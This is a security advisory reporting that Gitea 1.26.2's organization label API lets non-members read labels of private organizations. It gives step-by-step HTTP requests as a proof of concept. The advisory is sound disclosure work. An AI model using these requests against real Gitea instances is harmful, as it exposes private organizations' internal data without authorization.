Gitea: Unauthorized Access to Labels of Private Organizations
Summary
Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.
A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.
The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.
Details
The following endpoints are affected:
GET /api/v1/orgs/{org}/labelsGET /api/v1/orgs/{org}/labels/{id}
During testing, a private organization was created and a label was added to that organization.
Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.
However, the same user was still able to retrieve organization labels through the endpoints listed above.
For comparison, other organization-scoped endpoints such as:
GET /api/v1/orgs/{org}/teamsGET /api/v1/orgs/{org}/hooksGET /api/v1/orgs/{org}/actions/secrets
correctly denied access to unauthorized users.
The label endpoints returned the full Label object, including fields such as:
idnamedescriptioncolorurl
Write operations were tested separately and remained protected by authorization checks.
PoC
Setup
Create a private organization:
```http
POST /api/v1/orgs
Authorization: token <owner_token>
{
"username": "target-org",
"visibility": "private"
}
```
Create a label:
```http
POST /api/v1/orgs/target-org/labels
Authorization: token <owner_token>
{
"name": "internal-label",
"color": "#aabbcc",
"description": "private organization label"
}
```
Verify that the organization is not accessible to a non-member:
```http
GET /api/v1/orgs/target-org
Authorization: token <non_member_token>
```
Response:
```http
HTTP/1.1 404 Not Found
```
Retrieve all labels
Request:
```http
GET /api/v1/orgs/target-org/labels
Authorization: token <non_member_token>
```
Observed response:
```http
HTTP/1.1 200 OK
```
The response contains labels belonging to the private organization.
Retrieve a specific label
Request:
```http
GET /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>
```
Observed response:
```http
HTTP/1.1 200 OK
```
The full Label object is returned.
Request:
```http
PATCH /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>
```
Response:
```http
HTTP/1.1 403 Forbidden
```
PoC Details
https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak
Impact
Users who are not authorized to access a private organization can obtain label metadata associated with that organization.
Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.
The issue affects confidentiality only. No integrity or availability impact was observed.
